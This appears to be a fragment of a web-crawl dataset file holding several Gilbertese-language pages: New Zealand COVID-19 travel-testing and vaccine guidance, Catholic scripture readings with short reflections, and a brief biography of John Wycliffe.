oti inano aki reke iaan te kaetieti ibukin karaoan aia tutuo imwain mwanangaia:\n- Antarctica\n- Te Aono ni Kuka\n- Federated States of Micronesia\n- Biiti\n- Kiribati\n- Mwatiare\n- Nauru\n- New Caledonia\n- Niue\n- Palau\n- Tamoa\n- Toromon\n- Tokelau\n- Tonga\n- Tuvalu\n- Vanuatu\nE a tia te Botaki ni Kuakua (Ministry of Health) ni kamatoai aekaki n tutuo aika a butimwaeaki ibukia aba nako ma tiaki Aotiteria ke aba ake korakora iai kakai reken te aoraki. N aron tutu aikai:\n- Te tutuo ae te Nucleic Acid Amplification Testing (NAAT), ni ikotaki ma PCR, RT-PCR ao TMA, ke\n- LAMP, ke\n- antigen test (are a kona naba n ataki bwa te naan viral antigen tests).\nTaan boborau mai Aotiteria a riai ni karaoa te tutuo ae te PCR or RT-PCR imwain mwanangaia.\nTaan mwananga man taabo aika a rangi ni korakora iai kakai reken te aoraki a riai ni iai aia kakoaua ibukin aia tutuo ae te nasopharyngeal RT-PCR (PCR) are e itiaki ke akea iai manin te aoraki man te tabo n tutuo ake a tia ni katauaki ibukin karaoan te tutuo aio.\nBwai aika a riai ni karaoaki ibukin tutuo imwain te mwananga\nAtaei ake iaan uoua te ririki (24 te namwakaina) aki kantaningaaki bwa ana karaoa te tutuo aio imwain te mwananga.\nBwatintia ake a roko i Nutiran ibukin reitan mwanagaia nakon aia tabo are a nako iai ao man aki otinako man te marae, aki kantaningaki bwa na karaoa te tutuo imwain te mwananga.\nTaan mwangana ake aki kona ni karaoa te tutuo iaan bukina ae riai ibukin mauriia ana riai n tia ni kawara aia taokita 72 te aoa imwain mwanangaia. Ana riai ni karekei ao N tauraoi aia medical certificate are e na kakoauako ae ko aki kona ni karaoa te tutuo ibukin katanan maurim ao akea naba kainikinaean te COVID-19 irouiia.\nNgkana arona bwa mwin am tutuo iai manin te aoraki iai ao N am koaua bwa aio imwin reken te COVID-19 iroum n tai aika a tia n nako, kona riai ni kawara am taokita are e na tuoiko raoi bwa ana akea kanikinaean te COVID-19 aika a tibwa manga reke iroum n te tai aio.\nNgkana e a bon ataki raoi bwa akea COVID-19 iroum ngkai, ao ko riai ni karekei aikai:\n- te medical certificate n oti te tai ngke iai ngkoa manin te aoraki iroum, ngkana e riai, ao\n- booma are e na kaotia iai bwa ko a marurung ao ko aaki kona ni kaewea te COVID-19.\nA butimwaeaki Medical certificates n taetaen aba tabeua.\nA kaumakaki taan mwamwananga bwa ana ongora ma aobitin aia airline ngkana iai rakan tutuo aika a kainnanoaki imwain te mwananga. A kaumakaki naba bwa ana karekei rongorongon bwai ake a kainnanoi ibukin tikutikuia n aba riki tabeua iaon kawaia nakon aia tabo.\nDay 0 tutuo ake a riai ni karaoi naake ana borau nako Nutiran\nAngiia taan roko i Nutiran ma tiaki naake a roko iaan te mwamwananga ae te Quarantine-Free Travel a riai ni karaoi baikai:\n- Ana kabanea 14 te bong n rinanon tuan te quarantine ni kaokoroaki n tabo ni kaonoti ake a tarauaki\n- Ana karaoa aia tutuo ae te PCR COVID-19 n day 0, are nanona bwa a riai n tuoaki ni moan rokoia n tabo ni kaonoti ake a tararuaki\n- a riai n tiku n aia ruu ni karokoa ae e otinako mwin aia tutuo.\n- ngkana a roko ma iai kanikinaean te aoraki irouia ao a bon kairaki naba nakon te tabo ni quarantine.\nAngiin tutuo ana otinako mwia imwin 24-48 te aoa.\nNgkana e aki reke manin te aoraki imwin te tutuo ao aomata ana bon kabanea naba nikiran aia bong are 14 n taabo ni kaonoti are e tararuaki. Ana manga karaoaki riki aia tutuo n aia katenibong (3) ao manga n aia katebwi ma uoua (12) ni bong n aia tai n tiku. Angiia aomata ake akea manin te COVID-19 n aia tutuo ana ti kona n otinako, ngkana e a tia ni kamatoaaki ao ni kakoauaaki mai iroun ana tiim te Botaki ni Kuakua bwa e a uarereke angan reken ke kaewean manin te COVID-19.\nE na moantaai ni kamwaingaki te aomata are e reke manin te aoraki n ana tutuo nakon te quarantine, e ngae ngkana e aki karaoaki te tutuo n day 0.\nRongongoro riki tabeua\nIbukin rongorongon riki taabo ni kaonoti aika a tararuaki ao te quarantine, taiaoka nakon te uebutiati (website) ae https:\/\/www.miq.govt.nz\/travel-to-new-zealand\/arriving-in-nz\/ (external link)\nLast updated:","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/travel-to-and-from-new-zealand\/pre-departure-testing-for-travellers-to-new-zealand\/","date":"2021-09-23T17:31:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057427.71\/warc\/CC-MAIN-20210923165408-20210923195408-00668.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":794,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.356,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kamanomano\nE aki kaboaki te iti n totoko ibukin te COVID-19 ao e tauraoi ibukia aomata ni kabane iaon Nutiran.\nTe iti n totoko e kamanoko man aoraki ni mwakuri ma manin rabwatam ake tan totokoi aoraki bwa ko na tauraoi n kaitara te virus, ngkana ko boo ma ngaia.\nTe iti n totoko ibukin te COVID-19 e mwakuri ni kauekeia ana man ni buaka rabwatam bwa ana karikii tan tiri man n aoraki ake ana mwakuri ni kaitara te COVID-19 virus.\nItinakim n te iti n totoko ibukin te COVID-19 bon te kawai ae e rangi ni kakawaki ibukin kamanoam man ana mwakuri te virus.\nNgkana koa tia ni itinaki, teimatoa n karaoi mwakuri ake ana totokoa butin te COVID-19. Teboki ao kamwaui raoi baim. Bekobeko ao matie nakon manokun baim ao tiku ni mwengam ngkana ko namakina te aki marurung. Aio ena buoka kamanoam, kamanoaia am utu ao tabeman riki.\nReitanako kabonganan te COVID-19 tracer app, kamaiua te bluetooth n am tarebon, ao kabongana rabunan te ubu ke te matike ngkana ko tangiria.\nKatantan\nMedsafe e ti anga ana kariaia ibukin te iti n totoko bwa ena kabonganaki i Nutiran, ngkana ea koaua raoi bwa e tan ao ena mwakuri ngkana e kabonganaki. A bane iti n totoko ibukin te COVID-19 n rinanon tutuo ao kairiri ni kaetiti aika a matotoa ibukin tania ao mwakuria.\nTe Iti n totoko ae Pfizer\nTe iti n totoko aio ena aki anganiko te COVID-19. Ko na kainnanoa uoua itim tao tenua te wiki i marenaia. Ngkana ko tangiria n mano raoi, ao kabanei itim akana uaua.\nNgkana ko aki kona n roko n am tai, bitia nakon te tai ae e angaraoi n te tai ae e waetata.\nBaika ko na iangoi imwain are ko itinaki n te iti n totoko\nNgkana arona bwa iai muin (allergic) te iti n totoko ke iti riki tabeua n tai aika a nako nakoim, taiaoka maroroakinna ma am tia iti.\nNgkana ko bwainaoraki n bwainaoraki ake ana kakerikaka buan raram ke e kanganga buan raram, taiaoka kaongoa am tia iti.\nNgkana ko bikoukou taetae ma am tia iti n te iti n totoko, GP (Taokita) ke am tia kabung.\nN te tai aio ao tiaki moa anga te iti n totoko ae te Pfizer nakoia aomata ake a tuai koro tebwi ma uoua (12) aia ririki.\nNgkana a reke iroum kanikinaean te COVID-19, karaoa am tutuo ao tiku ni mwengam ni karokoa e roko muina. Ko kona n itinaki n te iti n totoko ngkana e itiaki muin am tutuo.\nTera ae ena riki imuin au iti n totoka?\nKona riai n tataninga tao 20 te miniti imuin am iti bwa ana taraiko ao n tuoko tan kukua bwa akea muin te iti nakoim (allergic).\nTao ena reke naba are kona tiku riki n tarataraki n te tai ae e maan ngkana iai muin te iti n totoko aika a noraki ao man korakora ke ngkana iai muin iti ke bwainaoraki iroum n tai aika a nako, ke ngkana e raroa te tabo ae ko na oki nako iai imuin itinakim.\nBaika a kona n riki imuin te iti\nN aron bwainaoraki nako, e kona naba ni iai bwai aika a kona n riki aika aki kantaningaki nakoia tabeman imuin itinakia n te iti n totoko. Ao aikai a kabuta ao man bebete n aki teimaan ao n akii tuka manga itinakimm kaua ke reitan karaoan kanoan am bong.\nBwai ake aki toki n riribotinaki bon marakin te tabo are e itinaki, te maraki n atu, namakinan te kua ke te kua are e korakora ao n reitinako.\nE kona ni maraki te mwatireti, namakinan te ang n aoraki, te mariri, te kabuebue ae e korakora, marakin te toma n rii ao e kona naba n reke te kani mumuta. Aio e kaotia bwa e mwakuri te iti n totoko. Aikai bwai ake a aki toki n ribotinaki imwin te kauoua ni iti.\nTabeua bwai aika riki aika aki kantaningaki imuin te iti a kona n rota am kabuti kaa ke kabonganan mitin ni mwakuri.\nE kona naba ni korakora muin (allergic) te iti ma a bon rangi n karako. Ara tia iti ibukin te iti n totoko a tia n rereinaki tararuan baikai.\nIbukn ibuobuoki ao rongorongo riki\nNgkana ko namakini kanikina ake kanga ai aron te COVID-19 n aron te bekobeko ae e reiti nako, te kabuebue ae e rangi n korakora, buan ke bitakin am kanamakin n noo kangkanga ke aroboi, tiku ni mwengam ao karaoa am tutuo ibukin COVID-19.\nNgkana koaki koaua raoi n kanikina ake a reke iroum ke a rikirake n korakora, tarebonia te Healthline iaon 0800 358 5453.\nNgkana iai tabeaiangam ibukn tanim, tarebonia 111, kaongoia raoi ae koa tia ni itninaki n te iti ibukin totoko COVID-19 bwa aonga ni karekea aia reke aika eti ibukim.\nE kakawaki karekean rongorongo aika a eti\nTai mwane n rongorongo aika aki koaua ake a reke iaon te (social media) aia tabo n maroro ao n reitaki te bota n aomata ao tabo riki tabeua.\nKo kona ni karekei rongorongo aika a eti ao n onimakinaki n:\nke tarebon nakonl Healthline iaon 0800 358 5453.\nLast updated:","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/the-covid-19-vaccine\/how-to-get-a-vaccine\/getting-your-covid-19-vaccine-what-to-expect\/","date":"2021-10-23T20:35:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585768.3\/warc\/CC-MAIN-20211023193319-20211023223319-00509.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":859,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.342,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiiki 28. Katenibong\nWarekan ana Reta Bauro nakoia I Roma. 2: 1-11\nAkea kabebetean am bure, ngkoe te aomata nako ae ko motikitaeka. Ngkai ko motiki taekaia aomata, ao ko boni kabureko boni ngkoe, ba ko karaoi naba baikanne, ngkoe ae ko motikitaeka. Ti ata ana motikitaeka te Atua ba e rinanon te koaua i bukia akana karaoi baikanne. Ao ko na kanga n tibanako ma ana motikitaeka te Atua, ngke ae ko motiki taekaia akana karaoi baikanne, ngkai ko boni karaoi naba? Ke tao ko kaakeaa ana akoi te Atua ma ana taonannano ma ana nanoanga, ao ko aki ata ana akoi te Atua ba e kairiko nakon te rairannano? Ngkai ko kamatoa nanom ma n rawa n rairaki, ao ko kaikoa te un ae korakora i maini bongin te un, are e na kaotaki iai ana motikitaeka te Atua. Ba E na angan te aomata nako boon ana makuri, ba te maiu ae aki toki nakoia akana nanomaka ni karaoa ae raoiroi ma n ukera iai te mimitong, te neboaki ao te aki mamate; ma bon te un ma te karekekai nakoia akana kakiriwe ma n rawa nakon te koaua ba a ira nanon te buakaka. E na anga te rawawata ma te maraki nakoia aomata nako aika karaoa te buakaka: nakoia I Iutaia moa, ao I muina nakoia I Erene; ao E na anga te mimitong, te neboaki ma te raoi nakoia akana karaoa ae raoiroi, ba I Iutaia moa, ao I muina I Erene, ba akea te nanonano iroun te Atua.\nTe Taramo 61: 2-3, 6-7, 9\nKaekana: A na morokaki taekara Te Uea, ko kaboia aomata n ai aron aia makuri.\nTi te Atua raun tamneiu, E reke buokau irouna.\nTi Ngaia au Ba ma au nono, Ao katanau: I teimatoa irouna. K\nE onimakina te Atua tamneiu, E rau nanou irouna.\nTi ngaia au Ba ma au nono, Ao katanau: I teimatoa irouna. K\nKatani ngkami iroun te Atua, aomata nako, Onimakinna n tai nako,\nKauki nanomi nakoina, Ba katanara te Atua. K\nAlleluia, alleluia.\nAm taeka, te Uea, bon te koaua: Katabuira i nanon te koaua. Alleluia.\nWarekan ana Euangkerio Ruka. 11: 42-46\nE kangai Iesu nakoia Baritaio: \"Kam na maraia, ngkami Baritaio, aika kam anga kabuian ami bai te minte ma te rue ao kainamarake ni bane, ao kam kaki te eti ma tangiran te Atua! Kam riai ni karaoi baikai n aki kaki baikekei. Kam na maraia, ngkami Baritaio! Kam tangiri moa ni nne n tekateka i nanon tinakoka, ao kam kani kamauraki ni maraen te kawa! Kam na maraia, ba ai aron ruanimate ngkami, aika aki noraki ao a toubekaki n aki ataki.\"\nE taetae ngkanne temanna te tia reirei te Tua ni kangai: \"Te Tia Reirei, ti matauninga naba ngaira n am taeka anne!\" E kaekaia ni kangai: \"Kam na maraia naba ngkami, tan reirei te Tua, ba kam katokai uota aika moan te rawawata i aoia aomata, ao kam aki ring n tabonibaimi teaina!\"\nTibatiba: Ti na kaboaki n ai aron ara makuri iaon te aba\nTariu ao maneu iai te koaua ae riai ni matata raoi iroura ba tera ae na riki nakoira ngkana ti a kitana te maiu aei ao a nang motkaki taekara. E kanga raoi aron motikan taekara ao antai ae E na motiki taekara? N te bong aio ao ti kauringaki ba a na kanga aron motikan taekara. N te moan wareboki ao ti ongora aron tuan te aomata ae motiki taekaia aomata ba e na maraia. E na reke kaina ao e na anganaki te kammarakaki ibukina ba e motiki taekaia raona nakon te kammarakaki ngkai ngaia i bon irouna e kakaraoi makuri aika kaitara ma bai ake e motika iai taekaia raona. Are nanona ba e kabuakakaia aomata ibukin aroia aika buakaka are e bon kakaraoia naba ngaia. Inanon ana motikitaeka ao e a tia naba ni kaakea ana akoi ma ana nanoanga te Atua are e kairira nakon te rairannano. Ba ngkana ko motikitaeka ngkoe ae ko aki ata ana akoi te Atua are e weteiko nakon te rairannao ao ngkanne ko na bon karokoa unin te Atua ao E na bon anganiko uan am makuri ae te rekenikai ao te kabuakakaki n aki totoki i mone.\nN te ewangkerio ao e a manga kaoka ana kamaraia Iesu nakoia Baritaio ibukin aroia ni kan kamoamoaia i mataia aomata ba angkoa aomata ngaia aika raoiroi ngke a bon kakaraoi makuri aika buakaka. Ao e kamaraiaia naba baritaio ibukin aia makuri ae a kukurei n tai nako ni katoka te rawawata iaoia aomata ba aonga ni maiu inanon te kabaia ma te kukurei. Ai ngaia ae bon riai ni matata ni koaua iroura ba baika ti karaoi inanon maiura ngkai boni ngaia ae ti karekea iai te kaniwanga ba te maiu ae akea tokina inanon ao te mimitong ke ti na kabuakakaki ae akea tokina ke te te mate ae akea tokina i mone. Motikan taekara bon man uan ara makuri aika ti karaoi iaon te aba.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1684-tibatiba-ti-na-kaboaki-n-ai-aron-ara-makuri-iaon-te-aba","date":"2021-10-17T01:09:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585045.2\/warc\/CC-MAIN-20211016231019-20211017021019-00636.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":826,"character_repetition_ratio":0.055,"word_repetition_ratio":0.012,"special_characters_ratio":0.223,"stopwords_ratio":0.362,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 27 Moanibong\nWarekan ana Boki te burabeti ae Iona…1:1; 2:1-11\nE roko ana taeka te Uea irouni Iona ae natin Amitai, ni kangai: \"Teirake, nako Niniwe, ae te kawa ae ababaki, ao kaotia nakoia ba I a rotaki ni buakakaia.\" E teirake Iona, ao biri nako Taatiti ba e na kararoa matan te Uea. E ruo nakon te kawa ae Ioba, ao e nora te kaibuke ae nangi borau nako Taatiti. E anga kantokana, ao e toka n nako Taatiti, ba e na kararoa matan te Uea. Ma E orea marawa te Uea n te ang ae korakora, ao e roko te buaka ae korakora i marawa, ao e nang uruaki iai te kaibuke. A rotaki kain te kaibuke n te maku, ao a weteia nako atuaia, ao a tewenakoi kanoan te kaibuke i tari ba a na kabebetea. Ao Iona, e a tia n ruo ma ni wene i kabin te kaibuke, ao e karaua ni matu. E kawaria te kaben, ao e taku nakoina: \"E aera ngkai ko matu? Teirake, wetea Atuam, tao E na mutiakinira, ao ti na aki mate.\" Rimui a taetae i boni irouia ni kangai: \"Ti na kaiwa, ao ti na ataia ba antai ae karekea te kanganga aei nakoira.\" Ao a kaiwa, ao e a uia nakoni Iona. A kangai nakoina: \"Tera nakoam? Ko nako mai ia? Ia abam? Kain te botanaomata ra ngkoe?\" E kaekaia Iona ni kangai: \"Te I-Ebera ngai, ao I taromauria te Uea ae Atuani karawa, are karika marawa ma aon te aba.\" A ataia ba e kani kararoa te Uea, ba e a tia ni kangoia. A taku nakoina: \"Tera ae ti na karaoia nakoim ba e aonga n raoi marawa?\" Ba e rikirake buakani marawa. E kaekaia ni kangai: \"Tabekai, ao tewenakoai i tari, ao e na reke te raoi. I ataia ba bon au bure ngkai kam reke n te buaka ae korakora aei.\" A kakorakoraia kaimoa ni buru ba a na kaea eta, ma a aki kona, ao a rikirake naoni marawa i rarikia. Ao a wetea te Uea ni kangai: \"Te Uea, tai kamateira i bukin te aomata aei, ao tai bukiniria ni maten te aomata ae akea ana bure. Ba Ko karaoa ae oin nanom, te Uea.\" Ao a tabeka Iona n tewenakoa i tari. Ao e a raoi marawa. Ao a bati ni maka te Uea aomata akekei, ao a anga karea nakoina ma taian taeka ni bau. E a tia ni baireia te Uea ba e na onga Iona te ika ae bubura. E tiku Iona i nanoni biroton te ika tenua te ngaina ao tenua te bong. Ao E taetae te Uea nakon te ika, ao e mumuta Iona i aon te bike.\nTe Taramo Iona 2:5-3\nKaekana: Te Uea, katikai mai kabini marawa.\nI wetea te Uea i nanon rawawatau, Ao E kaekaai;\nI wewete mai nanoni mone, Ao Ko ongo banau. K.\nKo tewenakoai i kabini marawa, E rabunai tari,\nAo a baroai Am nao i marawa. K.\nAo I taku: I a kakioaki, mai matam.\nN na kanga n manga Nora am Temboro ae tabu? K.\nNgke e a mamara tamneiu i nanou, Ao I a uringa te Uea,\nAo e a roko au tataro iroum, I nanon umam ae tabu. K.\nAlleluia, alleluia.\nAne kawakina ana taeka Kristo, ao e na kororaoi ana tangira te Atua i nanona. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka..10:25-37\nE kani kata Iesu temanna te tia reirei n te Tua, ao e titirakinna ni kangai: \"Te Tia Reirei, tera ae N na karaoia ba e aonga n reke irou te maiu ae aki toki?\" E kaeka Iesu ni kangai: \"Tera ane koreaki n te Tua? E kanga warekana iroum?\" Ao e kangi teuarei: \"Ko na tangira te Uea ae Atuam ma nanom ni kabanea, tamneim ni kabanea, korakoram ni kabanea, ao am iango ni kabanea; ao ko na tangira raom n ai aron tangiram i bon iroum.\" E taku Iesu nakoina: \"E eti am kaeka. Karaoa anne ao ko na maiu.\" Ma e kani karaoiroia teuarei, ao e manga titirakina Iesu ni kangai: \"Ao antai raou?\" Ao ngkanne E kangai Iesu: \"E ruo temanna te aomata mai Ierutarem nako Ieriko, ao e mane irouia tani kamarua, ake a tanabaia ma n oroia, ao a kitanna ngke e a kani mate. Ao akea ba e toua te kawai naba arei temanna te berebitero, ao e noria, ao e toua nako kawaina. Aron naba temanna te Rewita, e noria, ao e toua nako kawaina. E mananga naba temanna te I Tamaria, ao e noria ao e nanoangaia. E kawaria, e kabiri ikoakina n te ba ma te uain ao e kabaei; ao e katoka i aon ana man ao e uotia nakon te auti ni irua ni kawakinna. Ngke e a ingabong, ao e buti uoua te tenario n angan teuare ana auti te auti, ao e kangai nakoina: 'Kawakina teuaei, ao am bai ae na manga nako i bukina, ao N na kaboa muina ngkana I oki.' E uara? Antai raon teuare reke irouia tani kamarua mai buakoia uake teniman?\" Ao ngaia e kangai: \"Teuare nanoangaia.\" E taku Iesu: \"Nako, ao ai arom naba anne.\"\nTibatiba: Te Uea katikai mai kabini marawa\nTariu ao maneu n te maini wareboki n te bong aio ao ti ongora aron Iona ni birinako mairoun te Atua ba e rawa ni karaoa muiokoakana iroun te Atua ba e na nako Niniwe ni karokoa ana taeka te Atua ba a na riai n rairi nanoia. E a kataia ni karaba Iona mairoun te Atua ao e iangoa tokana n te kaibuke nakon te tabo ae raroa.\nEng ti riai ni karaua n iangoa te bai ae karaoia te Iona ba iai tibangara ae kona mai iai. Te moanai bai ae riai ni matata iroura ba ngkana ti kataia ni karabaira mai matan te Atua ao ti riai n ataia ba bon akea te tabo ae ti kona ni karabaira iai ba ngkana taberan te maunga ae moan te rietata ke ti karabaira i kabini marawa ao e bon norira te Atua. Ngkana ti karekerekea ma ana titiraki te tia reirei n te tua nakon Iesu n te ewangkerio ba tera ae riai ni karaoia ba e aonga n reke te maiu ae tokina ao e oti ba ti riai n ira te tua n tangira te Atua ma rabatara, nanora ao tamneira ao korakorara ni ikabane ao iaoni bai ni kabane ao ti na tangiria naba raora. Ti riai n tauraoi n tai nako ni karaoa Nanon te Atua ao ni kaotia ba e moanibai tangiran te Atua iaoni bai nako. Te kauoua ba ti karikaki nako aonteaba ibukin karaoan Nanon te Atua ba ti ngaia te anga ae ti kona ni kamaiuaki iai. Ti riai n riki ba tan tia uota ana tangira, ana nanoanga ao ana kamaiu te Atua nakoia aomata nako. Ti riai n ataia are raora ni koaua bon aomata ake a taonaki n te rawawata ma te kananoanga ba a raoranako ma ana tangira ao ana nanoanga te Atua are nanona ba iaoni kawaia ni mate. Ti na kakoaua ba ti na anganaki te kaniwanga ae moan te bati ngkana ti kona ni kairia tarira ao manera nakon te maiu ae onrake n te maiu ngkana ti kona kaokia ba a na nim ma Teuare koburaken te kamaiu ae Iesu Kristo. Irarikin anne ao ti riai naba ni katotonga Iona n raraoma nakon te Atua ibukin ara aki ongotaeka ni karaoa te muioko are anganira te Atua ao ti riai n tauraoi n tai nako n nanomaraki n ara kairua nakon te Atua ao ni butia Uea ba E na katikira mai kabini marawa bat i aonga ni kamaiuaki.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1680-tibatiba-te-uea-katikai-mai-kabaini-marawa","date":"2021-10-17T01:21:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585045.2\/warc\/CC-MAIN-20211016231019-20211017021019-00529.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1285,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.415,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 26 Moanibong\nWarekan ana Boki te burabeti ae Takaria. 8: 1-8\nE roko irou ana taeka Uean aonaba, ni kangai: E korakora nanou ni ira tangan Tion, e urarake nanou i bukina. I a manga okira Tion, N na maeka i nanoni Ierutarem. E na aranaki Ierutarem ba te Kawa ae Kakaonimaki, ao ana maunga te Uea ba te maunga ae tabu. A na manga tekateka unimane ma unaine i nanoni maraeni Ierutarem, ma ekoia i nanoni baia i bukini maitin aia ririki. Ao a na kebo maraen te kawa irouia ataeinimane ma ataeinaine aika takakaro i nanoni marae. Ngkana tao e kamimi anne irouia nikiran te botanaomata, ao e bon aki kamimi irou. N nang kamaiua au botanaomata man abani Mainiku ma abani Maeao. N na manga kaokiia, ao a na maeka i nanoni Ierutarem. A na riki ba au botanaomata, ao N na riki ba Atuaia i nanon te eti ma te koaua.\nTe Taramo: 101: 16-21, 29, 22-23\nKaekana: E na neboaki te Uea ma mimitongina i Tion.\nA na maka aran te Uea bekan, a na maka mimitongin uean aon te aba,\nNgkana E manga katea Tion te Uea, Ba E na noraki ni mimitongina. K.\nE na ongo ana tataro teuare kuribaiaki, E na aki rawa nakon ana bubuti.\nE na koreaki aei i bukin tai aika na roko, Ba e na neboa te Atua te botanaomata ae bou. K\nE baraki te Uea n umana are i eta, E tara aon te aba mai karawa,\nba E na ongo tangia taenikai, ma ni kamaiuia akana nangi mate. K\nA na reke mwengaia natia am toro, ao a na teimatoa aia kariki i matam,\nba a na taekina aran te Uea i Tion ao neboana i Ierutarem,\nNgkana a botaki botanaomata ma abanuea, n taromauria te Uea. K\nEuangkerio\nWarekan ana Euangkerio Ruka. 9: 46-50\nE riki te kauntaeka i marenaia reirei, ba antai ae kakanato riki i buakoia. Ma E atai aia iango Iesu, ao E kaira temanna te ataei ae uarereke ni kateia i rarikina, ao E taku nakoia: \"Ane akoa te ataei ae uarereke aei i bukin arau ao e akoai; ane akoai, ao e akoa Teuare kanakoai; ba ane mangori riki i buakomi ni bane, ao boni ngaia ae kakanato.\"\nE taetae Ioane, ao e taku: \"Te Tia Reirei, ti nora temanna ba e kanakoia taimonio n aram, ao ti kan tukia, ba tiaki raora ni iririko.\" Ma E kangai Iesu nakoina: \"Tai tukia, ba ane aki kairiribai nakoimi, ao bon raomi.\nTibatiba: A na riki ba au botanaomata, ao N na riki ba Atuaia i nanon te eti ma te koaua.\nTariu ao maneu, inanon moan bakaia ara moani karo ao e tuura aonnaba ao te botanaomata te bure n riki are kamaenakoira ma te Atua ao te botanaomata. Ma e korakora ana tangira te Atua ao E baireia ba E na manga anga Natina ae te Rikitemanna ae Iesu Kristo ba E na maraki ao man tiringaki iaon te kaibangaki ni kaboira ba ti aonga ni manga natinaki ao n riki ba tan baibai ngaira ma Natina ae Iesu i Karawa. Inanon maten ao mangautin Iesu ao e a manga kabouaki aonnaba ba a na taromauria man neboa te Atua iaon ana maunga ae Tion. Iaon te maunga aio ao ti a bane n takaruea Iesu ba boni Ngaia ara Uea ao Atuara ae maka mani mimitong ae E riai n neboneboakai man taromauriaki iaoia uea nako. Inanon Iesu Kristo ao e reke te kamaiuaki irouia aomata nako ao ti a manga nora otan raneanean mimitongin te Atua are kainaomataira man roon te buakaka ao te bure. Ngaia are kabaran ara bure bon kawain reken te karatia ni kamaiu iroura are ti a karikaki ba ti nati ngaira ni koaua ao tani baibai n Abanuean te Atua i Karawa are boni ngaia mwenagara ni koaua ngkai ao n aki totoki.\nTi na takaruaea ana kamaiu te Atua nakon aonnaba ba a onga n ongo tarira ao manera ao man kamaiuaki naba. Ti na bubuti ba ti na karekea te kamaiuaki ni koaua ao ni kabuta te rongorongo ae raoiroi nako tokin aonnaba ao ni babetitoia te botanaomata n aran te Tama, te Nati ao te Tamnei ae Raoiroi. A,em","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1676-a-na-riki-ba-au-botanaomata-ao-n-na-riki-ba-atuaia-i-nanon-te-eti-ma-te-koaua","date":"2021-10-17T00:44:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585045.2\/warc\/CC-MAIN-20211016231019-20211017021019-00628.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":702,"character_repetition_ratio":0.052,"word_repetition_ratio":0.029,"special_characters_ratio":0.229,"stopwords_ratio":0.399,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E bungiaki n te ka - 14 n tienture i Engiran. Ataein te reirei n Taekan te Aro n te Reirei ae Rietaata ae te Oxford Iuniwetiri. E reireinaki bwa te Aro ni Katorika e aki reke irouia kiingin te nakoanibonga, bwa te Ukaari ae Tabu (ke te toa) bon tiaki rabwatan raoi Kristo, ao te ekaretia e riai n aki kabongana mwaakan te tautaeka iaoia aomata. E raira taekan te Baibara nakon te taetae n Ingiriti. E mate n 31 Ritembwa 1384.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/incubator.wikimedia.org\/wiki\/Wp\/gil\/John_Wycliffe","date":"2021-10-23T14:49:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585696.21\/warc\/CC-MAIN-20211023130922-20211023160922-00445.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":79,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 26 Kaabong\nWarekan ana Boki Neemia. 8: 1-12\nN te namakaina ae te kaitiua, ao a bane ni botaki te koraki, ma te nano ae ti teuana, i nanon te marae ae kaitara mataroan te ran. Ao a butia Etira, ae te tia koroboki, ba e na uota ana Boki Mote, are kanoana te Tua are E anga te Uea nakoia Iteraera. Ao e uota te Boki te berebitero ae Etira, i nanon te marae, n te bana ae korakora, man te ingabong ni karokoa te tawanou, nakoia mane ma aine ni bane ake a kona n ongo, Ao e wareka te Boki Etira, inanon te marae, n te bana ae korakora, ma te ingabong ni karokoa te tawanou, nakoia mane ma aine ni bane ake a kona n ongo; ao a bane ni kakauongo.\nE toka Etira i aon te bao te rai 